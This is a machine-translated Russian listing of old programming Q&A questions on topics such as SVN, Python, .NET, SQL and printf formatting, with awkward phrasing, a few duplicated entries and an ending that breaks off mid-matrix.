Исключения в C++ не должны быть пойманы (без ошибок времени компиляции) вызывающей функцией. Таким образом, это зависит от решения разработчика, следует ли ловить их с помощью try/catch (в отличие от Java).

Есть ли способ гарантировать, что брошенные исключения всегда перехватываются с помощью try/catch вызывающей функцией?

c++   exception   try-catch    

514   7   16:03, 1st July, 2020


Используйте ревизию SVN для обозначения сборки в CCNET

Я использую CCNET в примерном проекте с SVN в качестве системы управления версиями. CCNET настроен для создания сборки при каждом возврате. CCNET использует MSBuild для построения исходного кода.

Я хотел бы использовать последний номер редакции для генерации AssemblyInfo.cs при компиляции. Как я могу извлечь последнюю версию из subversion и использовать значение в CCNET?

Edit: я не использую NAnt-только MSBuild.

svn   msbuild   cruisecontrol.net    

571   12   16:03, 1st July, 2020


Какова наиболее эффективная графовая структура данных в Python?

Мне нужно уметь манипулировать большим (10^7 узлов) графом в python. Данные, соответствующие каждому узлу / ребру, минимальны, скажем, небольшое количество строк. Каков наиболее эффективный , с точки зрения памяти и скорости , способ сделать это?

Дикт диктов более гибок и прост в реализации, но я интуитивно ожидаю, что список списков будет быстрее. Опция списка также потребует, чтобы я хранил данные отдельно от структуры, в то время как дикты позволят сделать что-то подобное:

graph[I][J]["Property"]="value"

Что бы вы предложили?


Да, мне следовало бы немного прояснить, что я подразумеваю под эффективностью. В данном конкретном случае я имею в виду его в терминах произвольного поиска доступа.

Загрузка данных в память не является огромной проблемой. Это делается раз и навсегда. Трудоемкая часть-это посещение узлов, чтобы я мог извлечь информацию и измерить интересующие меня показатели.

Я не рассматривал возможность сделать каждый узел классом (свойства одинаковы для всех узлов), но похоже, что это добавит дополнительный уровень накладных расходов? Я надеялся, что у кого-то будет какой-то непосредственный опыт с подобным случаем, которым они могли бы поделиться. В конце концов, графики-это одна из самых распространенных абстракций в CS.

python   performance   data-structures   graph-theory    

448   0   16:03, 1st July, 2020


Как создать учетные записи пользователей поддоменов в веб-приложении

Я ищу, чтобы позволить пользователям контролировать поддомен приложения, с которым я играю, так же, как Basecamp, где это customusername.seework.com .

Что требуется на конце DNS , чтобы позволить им создаваться динамически и быть доступными мгновенно.

И как вы рекомендуете бороться с этим в логике сайта? Правило Htaccess для поиска поддомена в DB ?

web-applications   dns   subdomain   account    

435   4   16:03, 1st July, 2020


Каковы преимущества использования SVN по сравнению с CVS?

Моя компания использует CVS как наш фактический стандарт для управления версиями. Тем не менее, я слышал много людей, которые говорят, что SVN лучше.

Я знаю, что SVN новее, но в остальном я не знаком с его преимуществами.

То, что я ищу, - это хорошее, сжатое сравнение двух систем, отмечая любые преимущества или недостатки каждой из них в среде разработки Java/Eclipse.

svn   version-control   cvs    

542   12   16:03, 1st July, 2020


Перехват SQL инъекций и других вредоносных веб-запросов

Я ищу инструмент, который может обнаруживать вредоносные запросы (такие как очевидные SQL инъекций получает или сообщения) и сразу же запретит IP адрес запрашивающего/добавить в черный список. Я знаю, что в идеальном мире наш код должен уметь обрабатывать такие запросы и относиться к ним соответственно, но в таком инструменте есть большая ценность даже тогда, когда сайт защищен от подобных атак, поскольку он может привести к экономии пропускной способности, предотвращению раздутия аналитики и т. д.

В идеале я ищу кросс-платформенное решение (LAMP/.NET), которое находится на более высоком уровне, чем технологический стек; возможно, на уровне веб-сервера или аппаратного обеспечения. Хотя я не уверен, что это существует.

В любом случае, я хотел бы услышать отзывы сообщества, чтобы увидеть, какие у меня могут быть варианты в отношении реализации и подхода.

sql   xss   sql-injection    

451   8   16:03, 1st July, 2020


Предельный размер очереди в .NET?

У меня есть объект Queue<T>, который я инициализировал до емкости 2, но очевидно, что это просто емкость, и она продолжает расширяться по мере добавления элементов. Есть ли уже объект, который автоматически отменяет запрос элемента при достижении предела, или это лучшее решение для создания моего собственного наследуемого класса?

.net   collections   queue    

405   7   16:03, 1st July, 2020


Использование MSTest с CruiseControl.NET

Мы уже довольно давно используем CruiseControl с NUnit и NAnt. Для недавнего проекта мы решили использовать платформу тестирования, которая поставляется с Visual Studio, которая до сих пор была адекватной.

Я пытаюсь запустить решение в CruiseControl. Я, наконец, получил саму сборку для работы; однако я не смог получить никаких тестов для отображения в интерфейсе CruiseControl, несмотря на добавление пользовательских задач сборки и компонентов, предназначенных для этого. У кого-нибудь есть окончательная ссылка на инструкции по настройке этой настройки?

msbuild   build-process   cruisecontrol.net    

430   2   16:03, 1st July, 2020


Subsonic против NHibernate

Каково же общее мнение о том, когда следует использовать один из этих инструментов по отношению к другому? Я нахожу Subsonic очень полезным с точки зрения быстрого выполнения задач, но в больших проектах он имеет тенденцию не масштабироваться, и это связывает вашу модель домена с вашей моделью базы данных. Именно здесь появляется Nhibernate, поскольку он дает вам облегченные POCOs, которые не связаны с вашей моделью базы данных, но время настройки намного больше.

.net   nhibernate   orm   subsonic    

523   15   16:03, 1st July, 2020


ASP.Net Пользовательская Проверка На Стороне Клиента

У меня есть пользовательская функция проверки в JavaScript в пользовательском элементе управления на веб-сайте .Net 2.0, которая проверяет, не превышает ли уплаченная плата причитающуюся сумму.

Я поместил код валидатора в файл ascx , а также попытался использовать Page.ClientScript.RegisterClientScriptBlock() и в обоих случаях срабатывает проверка, но не могу найти функцию JavaScript.

Вывод в консоли ошибок Firefox - это "feeAmountCheck is not defined" . Вот эта функция (она была взята непосредственно из firefox - >view source)

<script type="text/javascript">
    function feeAmountCheck(source, arguments)
    {
        var amountDue = document.getElementById('ctl00_footerContentHolder_Fees1_FeeDue');
        var amountPaid = document.getElementById('ctl00_footerContentHolder_Fees1_FeePaid');

        if (amountDue.value > 0 && amountDue >= amountPaid)
        {
            arguments.IsValid = true;
        }
        else
        {
            arguments.IsValid = false;
        }

        return arguments;
    }
</script>

Есть идеи, почему эта функция не найдена? Как я могу исправить это, не добавляя функцию на главную страницу или страницу потребления?

asp.net   javascript   validation    

488   4   16:03, 1st July, 2020


Сделать XAMPP/Apache служить файл вне htdocs в

Можно ли настроить xampp для обслуживания файла вне каталога htdocs ?

Например, предположим, что у меня есть файл, расположенный следующим образом:

C:\projects\transitCalculator\trunk\TransitCalculator.php

и мой xampp файлов, как правило, подается из:

C:\xampp\htdocs\

(потому что это конфигурация по умолчанию) есть ли какой-то способ заставить Apache распознавать и обслуживать мой файл TransitCalculator.php , не перемещая его под htdocs ? Предпочтительно я хотел бы, чтобы Apache обслуживал/имел доступ ко всему содержимому каталога проектов, и я не хочу перемещать каталог проектов под htdocs .

Редактировать: Редактировать, чтобы добавить Apache на заголовок вопроса, чтобы сделать в более "searchable"

php   apache   xampp   server-configuration    

625   6   16:03, 1st July, 2020


Как я могу получить аутентифицированное имя пользователя под Apache, используя обычную HTTP аутентификацию и PHP?

Во-первых, давайте избавимся от соображений безопасности. Я использую простую аутентификацию под Apache для одноразового, только внутреннего использования, не подключенного к интернету lan, php веб-приложения.

Как я могу получить HTTP аутентифицированное имя пользователя в PHP?

php   apache   authentication   http-authentication    

516   1   16:03, 1st July, 2020


Как лучше всего обрабатывать несколько типов разрешений?

Я часто сталкиваюсь со следующим сценарием, когда мне нужно предложить много различных типов разрешений. Я в основном использую ASP.NET / VB.NET с SQL Server 2000.

Сценарий

Я хочу предложить динамическую систему разрешений, которая может работать с различными параметрами. Допустим, я хочу предоставить доступ к приложению либо отделу, либо просто конкретному человеку. И представьте, что у нас есть ряд приложений, которые продолжают расти.

В прошлом я выбрал один из двух известных мне способов сделать это.

  1. Используйте одну таблицу разрешений со специальными столбцами, которые используются для определение способа применения параметров. Специальные колонки в это примеры TypeID и TypeAuxID. SQL будет выглядеть как-то странно подобный этому.

    SELECT COUNT(PermissionID)
    FROM application_permissions
    WHERE
    (TypeID = 1 AND TypeAuxID = @UserID) OR
    (TypeID = 2 AND TypeAuxID = @DepartmentID)
    AND ApplicationID = 1
    
  2. Используйте таблицу сопоставления для каждого типа разрешений, а затем соедините их все вместе.

    SELECT COUNT(perm.PermissionID)
    FROM application_permissions perm
    LEFT JOIN application_UserPermissions emp
    ON perm.ApplicationID = emp.ApplicationID
    LEFT JOIN application_DepartmentPermissions dept
    ON perm.ApplicationID = dept.ApplicationID
    WHERE q.SectionID=@SectionID
      AND (emp.UserID=@UserID OR dept.DeptID=@DeptID OR
     (emp.UserID IS NULL AND dept.DeptID IS NULL)) AND ApplicationID = 1
    ORDER BY q.QID ASC
    

свои мысли

Я надеюсь, что эти примеры имеют смысл. Я сложил их вместе.

Первый пример требует меньше работы, но ни один из них не кажется лучшим ответом. Есть ли лучший способ справиться с этим?

sql   permissions    

358   5   16:03, 1st July, 2020


Как вы выражаете двоичные литералы в Python?

Как выразить целое число в виде двоичного числа с Python литералами?

Я с легкостью нашел ответ на вопрос hex:

>>> 0x12AF
4783
>>> 0x100
256

и восьмеричный:

>>> 01267
695
>>> 0100
64

Как вы используете литералы для выражения двоичного кода в Python?


Резюме ответов

  • Python 2.5 и ранее: может выражать двоичный код с помощью int('01010101111',2) , но не с помощью литерала.
  • Python 2.5 и ранее: нет никакого способа выразить двоичные литералы.
  • Python 2.6 бета: вы можете сделать так: 0b1100111 или 0B1100111 .
  • Python 2.6 beta: также позволит 0o27 или 0O27 (второй символ-буква O) представлять восьмеричное число.
  • Python 3.0 beta: то же самое, что и 2.6, но больше не позволяет использовать старый синтаксис 027 для окталов.

python   syntax   binary   integer   literals    

607   6   16:03, 1st July, 2020


Интеграция тестового проекта Visual Studio с круиз-контролем

Я изучаю использование встроенных модульных тестовых проектов Visual Studio 2008 вместо NUnit, и мне было интересно, есть ли у кого-нибудь опыт в попытке интегрировать этот тип модульного тестового проекта с Cruise Control.Net.

visual-studio   unit-testing   continuous-integration   cruisecontrol.net    

429   1   16:03, 1st July, 2020


Как я могу дать моим веб-сайтам значок для iPhone?

Как я могу установить значок, который появляется на iPhone для веб-сайтов, которые я создаю?

html   ios   favicon   apple-touch-icon    

500   5   16:03, 1st July, 2020


Различные распределенные системы управления версиями работают вместе

В моем офисе есть центральный Source Safe 2005 install, который мы используем для управления версиями. Я не могу изменить то, что офис использует на сервере.

Я разрабатываю на ноутбуке и хотел бы иметь другой локальный репозиторий управления версиями, который может синхронизироваться с центральным сервером (когда он доступен) независимо от того, что это за центральный поставщик. Причина запроса заключается в том, что я могу поддерживать локальную стабильную ветвь/сборку для клиентских презентаций, продолжая развиваться, не перепрыгивая через пылающие обручи. Кроме того, как консультант, мои клиенты могут потребовать, чтобы я использовал их поставщика системы управления версиями, и гибкость здесь облегчила бы жизнь.

Может ли любой из существующих клиентов распределенного управления версиями справиться с этим?

version-control   dvcs    

404   4   16:03, 1st July, 2020


Уменьшение количества повторяющихся кодов обработки ошибок в C#?

Я никогда не был полностью доволен тем, как работает обработка исключений, есть много исключений и try / catch приносит в таблицу (размотка стека и т. д.), но, похоже, в этом процессе нарушается большая часть модели OO.

В любом случае, вот в чем проблема:

Допустим, у вас есть какой-то класс, который обертывает или включает сетевые операции с файлом IO (например, чтение и запись в какой-то файл по какому-то конкретному пути UNC). По разным причинам вы не хотите, чтобы эти операции IO завершились неудачей, поэтому, если вы обнаружите, что они завершились неудачей, вы повторяете их и продолжаете повторять, пока они не завершатся успешно или вы не достигнете тайм-аута. У меня уже есть удобный класс RetryTimer, который я могу создать и использовать, чтобы перевести текущий поток в спящий режим между повторными попытками и определить, когда истек период ожидания и т. д.

Проблема в том, что у вас есть куча операций IO в нескольких методах этого класса, и вам нужно обернуть каждую из них в логику try-catch / retry.

Вот пример фрагмента кода:

RetryTimer fileIORetryTimer = new RetryTimer(TimeSpan.FromHours(10));
bool success = false;
while (!success)
{
    try
    {
        // do some file IO which may succeed or fail
        success = true;
    }
    catch (IOException e)
    {
        if (fileIORetryTimer.HasExceededRetryTimeout)
        {
            throw e;
        }
        fileIORetryTimer.SleepUntilNextRetry();
    }
}

Итак, как избежать дублирования большей части этого кода для каждой операции file IO в классе? Мое решение состояло в использовании анонимных блоков делегатов и единственного метода в классе, который выполнял переданный ему блок делегатов. Это позволило мне делать подобные вещи другими методами:

this.RetryFileIO( delegate()
    {
        // some code block
    } );

Мне это несколько нравится, но оставляет желать лучшего. Я бы хотел услышать, как другие люди решают подобные проблемы.

c#   exception   error-handling    

530   4   16:03, 1st July, 2020


Каковы правильные размеры пикселей для apple-touch-icon?

Я не уверен, что правильный размер должен быть.

Многие сайты, похоже, повторяют, что apple-touch-icon должен быть размером 57x57 пикселей, но ссылаются на сломанную ссылку в качестве источника.

Комментарии Hanselman и playgroundblues предлагают различные размеры, включая 163x163 и 60x60.

Собственный значок apple.com от Apple - это 129x129!

Смотри мой вопрос: Как я могу дать моим веб-сайтам значок для iPhone?

iphone   favicon   apple-touch-icon    

649   11   16:03, 1st July, 2020


Механизмы отслеживания изменений схемы DB

Каковы наилучшие методы отслеживания и / или автоматизации изменений схемы DB? Наша команда использует Subversion для управления версиями, и мы смогли автоматизировать некоторые из наших задач таким образом (перемещение сборок на промежуточный сервер, развертывание тестируемого кода на рабочий сервер), но мы все еще делаем обновления базы данных вручную. Я хотел бы найти или создать решение, которое позволит нам эффективно работать на разных серверах с различными средами, продолжая использовать Subversion в качестве бэкенда, через который код и обновления DB передаются на различные серверы.

Многие популярные программные пакеты включают в себя сценарии автоматического обновления, которые обнаруживают версию DB и применяют необходимые изменения. Является ли это лучшим способом сделать это даже в более крупном масштабе (через несколько проектов, а иногда и через несколько сред и языков)? Если да, то есть ли какой-либо существующий код, который упрощает этот процесс, или лучше всего просто запустить наше собственное решение? Кто-нибудь реализовывал что-то подобное раньше и интегрировал его в Subversion post-commit hooks, или это плохая идея?

Хотя решение, поддерживающее несколько платформ, было бы предпочтительнее, мы определенно должны поддерживать стек Linux/Apache/MySQL/PHP, поскольку большая часть нашей работы находится на этой платформе.

php   mysql   database   svn   migration    

517   20   16:03, 1st July, 2020


Папки или проекты в решении Visual Studio?

При разбиении решения на логические слои, когда лучше всего использовать отдельный проект над просто группировкой по папке?

visual-studio   projects-and-solutions    

566   7   16:03, 1st July, 2020


Учимся писать компилятор

Предпочтительные языки: C/C++, Java и Ruby.

Я ищу несколько полезных книг/учебных пособий о том, как написать свой собственный компилятор просто для образовательных целей. Я лучше всего знаком с C/C++, Java и Ruby, поэтому предпочитаю ресурсы, которые включают один из этих трех, но любой хороший ресурс приемлем.

compiler-construction   language-agnostic    

825   22   16:03, 1st July, 2020


Как передать перечисленные значения в веб-службу

Моя дилемма заключается, в основном, в том, как разделить перечисление между двумя приложениями.

Пользователи загружают документы через интерфейсное приложение, которое находится в интернете. Это приложение вызывает веб-службу внутреннего приложения и передает ему документ. Серверное приложение сохраняет документ и вставляет строку в таблицу документов .

Тип документа (7 возможных типов документов: счет- фактура, договор и т.д.) передается в качестве параметра в метод UploadDocument веб-службы. Вопрос в том, каким должен быть тип (и возможные значения) этого параметра?

Поскольку вам нужно жестко закодировать эти значения в обоих приложениях, я думаю, что это O.K. чтобы использовать описательную строку (счет, контракт, WorkOrder , SignedWorkOrder).

Может быть, лучше создать перечисление DocumentTypes в первом приложении и воспроизвести его также во втором приложении, а затем передать соответствующее целочисленное значение веб-службе между ними?

web-services   application-integration    

441   8   16:03, 1st July, 2020


Есть ли опыт работы с буферами протокола?

Я просто просматривал некоторую информацию о формате обмена данными буферов протокола Google. Кто-нибудь играл с кодом или даже создал проект вокруг него?

В настоящее время я использую XML в проекте Python для структурированного контента, созданного вручную в текстовом редакторе, и мне было интересно, каково общее мнение о буферах протокола в качестве пользовательского формата ввода. Преимущества скорости и краткости определенно кажутся там, но есть так много факторов, когда речь заходит о фактическом создании и обработке данных.

python   xml   database   protocol-buffers    

534   4   16:03, 1st July, 2020


Федеративные (синхронизированные) серверы Subversion?

Можно ли создать "federated" серверов Subversion? Как и на одном сервере в местоположении A и на другом в местоположении B, которые автоматически синхронизируют свои локальные версии репозитория. Таким образом, когда кто-то в любом месте взаимодействует с репозиторием, он получает доступ к своему соответствующему локальному серверу и поэтому имеет более быстрое время отклика.

svn   version-control    

460   4   16:03, 1st July, 2020


Как сделать меню, которое не требует от пользователя нажатия клавиши [enter]для выбора?

У меня есть меню в Python. Эта часть была легкой. Я использую raw_input() , чтобы получить выбор от пользователя.

Проблема заключается в том, что raw_input (и input) требуют, чтобы пользователь нажал Enter после того, как они сделают выбор. Есть ли способ заставить программу действовать сразу же после нажатия клавиши? Вот что у меня есть на данный момент:

import sys
print """Menu
1) Say Foo
2) Say Bar"""
answer = raw_input("Make a selection> ")

if "1" in answer: print "foo"
elif "2" in answer: print "bar"

Было бы здорово иметь что-то вроде

print menu
while lastKey = "":
    lastKey = check_for_recent_keystrokes()
if "1" in lastKey: #do stuff...

python    

424   4   16:03, 1st July, 2020


Python: на чем OS я бегу?

Что мне нужно посмотреть, чтобы понять, нахожусь ли я на Windows или Unix и т. д.?

python   cross-platform    

480   25   16:03, 1st July, 2020


Как сопоставить широту / долготу с искаженной картой?

У меня есть куча пар широта / долгота, которые сопоставляются с известными координатами x / y на карте (географически искаженной).

Тогда у меня есть еще одна пара широта/долгота. Я хочу построить его на карте как можно лучше. Как мне это сделать?

Сначала я решил создать систему линейных уравнений для трех ближайших точек lat/long и вычислить преобразование из них,но это совсем не работает. Поскольку это линейная система,я не могу использовать больше соседних точек.

Вы не можете предположить, что Север вверх: все, что у вас есть, - это существующие сопоставления lat/long->x/y.

Это не проекция Меркатора или что-то в этом роде. Это произвольно искажено для удобства чтения (подумайте о карте метро). Я хочу использовать только ближайшие 5-10 отображений, чтобы искажение на других частях карты не влияло на отображение, которое я пытаюсь вычислить.

Кроме того, вся карта находится в очень маленькой географической области, поэтому нет необходимости беспокоиться о том, что предположения globe--flat-earth достаточно хороши.

math   maps   mapping   latitude-longitude    

417   4   16:03, 1st July, 2020


Подходят ли когда-нибудь несколько классов DataContext?

Чтобы полностью использовать LinqToSql в приложении ASP.net 3.5, необходимо создать классы DataContext (что обычно делается с помощью конструктора в VS 2008). С точки зрения UI, DataContext-это дизайн разделов вашей базы данных, которые вы хотели бы предоставить через LinqToSql, и является неотъемлемой частью в настройке функций ORM LinqToSql.

Мой вопрос: я настраиваю проект, который использует большую базу данных, где все таблицы связаны каким-то образом через внешние ключи. Моя первая склонность-сделать один огромный класс DataContext, который моделирует всю базу данных. Таким образом, я мог бы теоретически (хотя я не знаю, понадобится ли это на практике) использовать внешние ключевые соединения, которые генерируются через LinqToSql, чтобы легко переходить между связанными объектами в моем коде, вставлять связанные объекты и т. д.

Однако после некоторых размышлений я теперь думаю, что может быть более целесообразно создать несколько классов DataContext, каждый из которых относится к определенному пространству имен или логическому взаимосвязанному разделу в моей базе данных. Моя главная проблема заключается в том, что создание и удаление одного огромного класса DataContext все время для отдельных операций, связанных с конкретными областями базы данных, будет налагать ненужное наложение на ресурсы приложения. Кроме того, легче создавать и управлять меньшими файлами DataContext, чем одним большим. То, что я потеряю, - это то, что будут некоторые удаленные разделы базы данных, которые не будут доступны для навигации через LinqToSql (даже если цепочка отношений соединяет их в реальной базе данных). Кроме того, будут существовать некоторые классы таблиц, которые будут существовать в более чем одном DataContext.

Любые мысли или опыт о том, являются ли множественные DataContexts (соответствующие пространствам имен DB) подходящими вместо (или в дополнение к) одному очень большому классу DataContext (соответствующему всему DB)?

asp.net   .net   linq-to-sql   datacontext    

483   5   16:03, 1st July, 2020


Python: в чем разница между (1,2,3) и [1,2,3], и когда я должен использовать каждый?

Во многих местах (1,2,3) (кортеж) и [1,2,3] (список) могут использоваться взаимозаменяемо.

Когда я должен использовать тот или другой, и почему?

python   list   tuples    

536   15   16:03, 1st July, 2020


Как создать филиал?

Как создать ветку в SVN?

svn   version-control   branch   branching-and-merging    

446   9   16:03, 1st July, 2020


Что такое MVP и MVC и в чем разница?

При взгляде за пределы RAD (перетаскивание и настройка) способа построения пользовательских интерфейсов, который поощряют многие инструменты, вы, вероятно , столкнетесь с тремя шаблонами проектирования, называемыми Model-View-Controller, Model-View-Presenter и Model-View-ViewModel . Мой вопрос состоит из трех частей к нему:

  1. Какие проблемы решают эти модели?
  2. Насколько они похожи?
  3. Чем они отличаются друг от друга?

design-patterns   model-view-controller   user-interface   mvp   glossary    

1950   16   16:03, 1st July, 2020


Как начать писать инструмент покрытия кода?

Поиск книг или других ссылок, в которых обсуждается, как на самом деле написать инструмент покрытия кода в Java; некоторые из различных методов или трюков - исходный код против инструментария байтового кода.

Это для скриптового языка, который генерирует байтовый код Java под капотом.

java   testing   coldfusion   code-coverage    

538   5   16:03, 1st July, 2020


Каковы некоторые хорошие ресурсы для изучения потокового программирования?

С появлением multicore CPUs на рабочем столе навыки многопоточности станут ценным активом для программистов. Можете ли вы порекомендовать какие-то хорошие ресурсы (книги, учебные пособия, веб-сайты и т. д.) для программиста, который хочет узнать о потоковом программировании?

multithreading   language-agnostic   concurrency    

477   17   16:03, 1st July, 2020


Использование нескольких баз данных SQLite одновременно

У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.

Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .

Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .

В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?

actionscript-3   flex   sqlite   air   adobe    

544   3   16:03, 1st July, 2020


Каковы некоторые хорошие ресурсы для изучения потокового программирования?

С появлением multicore CPUs на рабочем столе навыки многопоточности станут ценным активом для программистов. Можете ли вы порекомендовать какие-то хорошие ресурсы (книги, учебные пособия, веб-сайты и т. д.) для программиста, который хочет узнать о потоковом программировании?

multithreading   language-agnostic   concurrency    

626   17   16:03, 1st July, 2020


Использование нескольких баз данных SQLite одновременно

У меня есть 2 базы данных SQLite, одна загружена с сервера (server.db), а другая используется в качестве хранилища на клиенте ( client.db). Мне нужно выполнить различные запросы синхронизации в клиентской базе данных, используя данные из базы данных сервера.

Например, я хочу удалить все строки в таблице client.db tRole и повторно заполнить все строки в таблице server.db tRole .

Другой пример: я хочу удалить все строки в таблице client.db tFile , где fileID не находится в таблице server.db tFile .

В SQL Server вы можете просто префиксировать таблицу с именем базы данных. Есть ли вообще возможность сделать это в SQLite, используя Adobe Air?

actionscript-3   flex   sqlite   air   adobe    

719   3   16:03, 1st July, 2020


Инструменты/стратегия обфускации .NET

Мой продукт состоит из нескольких компонентов: ASP.NET, Windows Forms App и Windows Service. 95% или около того кода написано в VB.NET.

По соображениям интеллектуальной собственности мне нужно запутать код, и до сих пор я использовал версию dotfuscator, которой уже более 5 лет. Я думаю, что пришло время перейти к инструменту нового поколения. То, что я ищу, - это список требований, которые я должен учитывать при поиске нового обфускатора.

То что я знаю я должен искать до сих пор:

  • Serialization/De-serialization . В моем текущем решении я просто говорю инструменту не запутывать никакие члены данных класса, потому что боль от невозможности загрузить данные, которые были ранее сериализованы, просто слишком велика.
  • Интеграция с процессом сборки
  • Работа с ASP.NET . В прошлом я находил это проблематичным из - за изменения имен .dll (у вас часто есть по одному на страницу), с которыми не все инструменты справляются хорошо.

.net   security   obfuscation    

900   25   16:03, 1st July, 2020


Найти узел, щелкнутый в контекстном меню

Как узнать, в каком узле древовидного списка было активировано контекстное меню? Например, щелкните правой кнопкой мыши узел и выберите нужный пункт в меню.

Я не могу использовать свойство TreeViews' SelectedNode , потому что узел был только щелкнут правой кнопкой мыши и не выбран.

c#   winforms   treeview   contextmenu    

520   9   16:03, 1st July, 2020


Начало работы с системой управления версиями

Мне нужно реализовать контроль версий, даже для того, чтобы просто разрабатывать, что я делаю дома. Я читал о том, как велика Subversion за последние пару лет, и собирался посвятить себя изучению этого на стороне, пока не услышал о Git, являющейся восходящей и грядущей системой контроля версий.

Учитывая ситуацию, должен ли я подождать и посмотреть, кто из них выйдет на первое место? Каковы их относительные преимущества?

Одна из проблем, которую я заметил с Git, заключается в том, что не так много полнофункциональных GUIs, что важно для многих пользователей в моей команде.

Кроме того, не возражал бы против предложений о том, как начать работу с одним или другим. (учебники и т. д.)

git   svn   version-control   language-agnostic   dvcs    

567   25   16:03, 1st July, 2020


Проверка данных в Getter/Setter или где-то еще?

Мне интересно, насколько это хорошая идея - делать проверки в геттерах и сеттерах или где-то еще в коде.

Это может удивить вас, когда речь заходит об оптимизации и ускорении кода, я думаю, что вы должны делать проверки не в геттерах и сеттерах, а в коде, где вы обновляете свои файлы или базу данных. Неужели я ошибаюсь?

optimization   setter   getter   verification    

509   8   16:03, 1st July, 2020


Глобальная обработка исключений для элемента управления winforms

При работе над ASP.NET 1.1 проектами я всегда использовал Global.asax, чтобы поймать все ошибки. Я ищу аналогичный способ поймать все исключения в пользовательском элементе управления Windows Forms, который в конечном итоге является размещенным элементом управления IE. Каков правильный способ сделать что-то подобное?

winforms   error-handling   user-controls    

523   5   16:03, 1st July, 2020


Не удается получить консоль для виртуальных машин

Я следил за этим отличным учебником по работе с Xen с Ubuntu, но не могу получить консоль в свою виртуальную машину (domU). У меня есть строка extra = '2 console=xvc0' в моем /etc/xen/ hostname_here .cfg файл, как они говорят, но я не могу получить консоль на нем.

Если я статически назначаю IP виртуальной машине, я могу SSH ей, но сейчас мне нужно использовать DHCP, чтобы дать ей адрес (и поскольку это то, что я пытаюсь отладить, есть проблема). Я знаю, что у меня есть бесплатный адрес DHCP (хотя я получаю больше в данный момент), поэтому я не думаю, что это проблема. Я посмотрел на Google и форумы Xen безрезультатно.

Есть идеи?

ubuntu   virtualization   xen    

486   1   16:03, 1st July, 2020


Как удалить временную часть значения datetime (сервер SQL)?

Вот что я использую:

SELECT CAST(FLOOR(CAST(getdate() as FLOAT)) as DATETIME)

Я думаю, что может быть лучший и более элегантный способ.

Требования:

  • Это должно быть как можно быстрее (чем меньше отливок, тем лучше).
  • Конечным результатом должен быть тип datetime , а не строка.

sql-server   datetime   date-conversion    

515   0   16:03, 1st July, 2020


Какая лучшая настройка для разработки Mono на Windows?

Я начал пытаться играть с Mono, в основном для удовольствия в данный момент. Сначала я попытался использовать плагин Visual Studio, который преобразует csproj в makefile, но оказалось, что версия для Visual Studio 2005 недоступна. Я также читал о MonoDevelop IDE, что звучало неплохо. К сожалению, для этого нет никакого пакета pre-fab Windows. Я попытался следовать некоторым инструкциям, чтобы построить его, объединив зависимости от других полу-связанных установок. Это не сработало, но это, вероятно, потому, что я ориентирован на Windows и едва могу написать "makefile".

Итак, мой вопрос заключается в следующем: каков самый низкоэнергетический способ встать и бежать, чтобы попробовать некоторые Mono-основанные разработки на Windows?

windows   mono    

510   10   16:03, 1st July, 2020


Как вы форматируете unsigned long long int, используя printf?

#include <stdio.h>
int main() {
    unsigned long long int num = 285212672; //FYI: fits in 29 bits
    int normalInt = 5;
    printf("My number is %d bytes wide and its value is %ul. A normal number is %d.\n", sizeof(num), num, normalInt);
    return 0;
}

Выход:

My number is 8 bytes wide and its value is 285212672l. A normal number is 0.

Я предполагаю, что этот неожиданный результат связан с печатью unsigned long long int . Как вы делаете printf() an unsigned long long int ?

c   syntax   printf   format-specifiers   long-long    

497   12   16:03, 1st July, 2020


Варианты для HTML выскабливания?

Я подумываю попробовать прекрасный суп, пакет Python для HTML выскабливания. Есть ли еще какие-нибудь HTML выскабливающие пакеты, на которые я должен смотреть? Python-это не требование, мне действительно интересно услышать и о других языках.

История так далеко зашла:

html   web-scraping   html-parsing   html-content-extraction    

634   25   16:03, 1st July, 2020


Как обновить Ruby Gems из-за прокси (ISA-NTLM)

Брандмауэр, за которым я стою, работает под управлением Microsoft ISA server в режиме NTLM-only. Hash у кого-нибудь есть успех получения их Ruby драгоценных камней для установки/обновления через Ruby SSPI gem или другим способом? ...

или я просто ленивый?

Примечание: rubysspi-1.2.4 не работает.

Это также работает для "igem", части проекта IronRuby

ruby   proxy   rubygems   ironruby    

514   18   16:03, 1st July, 2020


SQL Server 2005 и 2008 на одной машине разработчика?

Кто-нибудь пробовал установить SQL Server 2008 Developer на машину, на которой уже установлен 2005 Developer?

Я не уверен, стоит ли мне это делать, и мне нужно сохранить 2005 год на этой машине в обозримом будущем, чтобы легко протестировать наше приложение. Поскольку мне иногда нужно взять резервные копии файлов баз данных и сделать доступными для других людей в компании, я не могу просто заменить 2005 на 2008 год, поскольку подозреваю (но не знаю), что базы данных не 100% обратно совместимы.

Какие проблемы могут возникнуть? Нужно ли мне установить новую версию с именем экземпляра, будет ли это работать? Могу ли я использовать другой номер порта, чтобы различать их?

Я нашел эту запись в technet: http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=3496209&SiteID=17

Это не говорит больше, чем просто да, вы можете сделать это , и я вроде бы подозревал, что это было выполнимо в любом случае, но мне нужно знать, есть ли что-то, что мне нужно знать, прежде чем я начну установку.

Кто-нибудь?

sql-server-2005   sql-server-2008   installation    

492   7   16:03, 1st July, 2020


Сжатие видео: Что такое дискретное косинусное преобразование?

Я реализовал метод преобразования изображения / видео, который называется дискретным косинусным преобразованием. Этот метод используется в MPEG кодировании видео. Я основал свой алгоритм на идеях, представленных на следующем URL:

http://vsr.informatik.tu-chemnitz.de/~jan/MPEG/HTML/mpeg_tech.html

Теперь я могу преобразовать участок черно-белого изображения размером 8x8, например:

0140  0124  0124  0132  0130  0139  0102  0088  
0140  0123  0126  0132  0134  0134  0088  0117  
0143  0126  0126  0133  0134  0138  0081  0082  
0148  0126  0128  0136  0137  0134  0079  0130  
0147  0128  0126  0137  0138  0145  0132  0144  
0147  0131  0123  0138  0137  0140  0145  0137  
0142  0135  0122  0137  0140  0138  0143  0112  
0140  0138  0125  0137  0140  0140  0148  0143 

В это изображение со всей важной информацией вверху справа. Трансформированный блок выглядит так:

1041  0039  -023  0044  0027  0000  0021  -019  
-050  0044  -029  0000  0009  -014  0032  -010  
0000  0000  0000  0000  -018  0010  -017  0000  
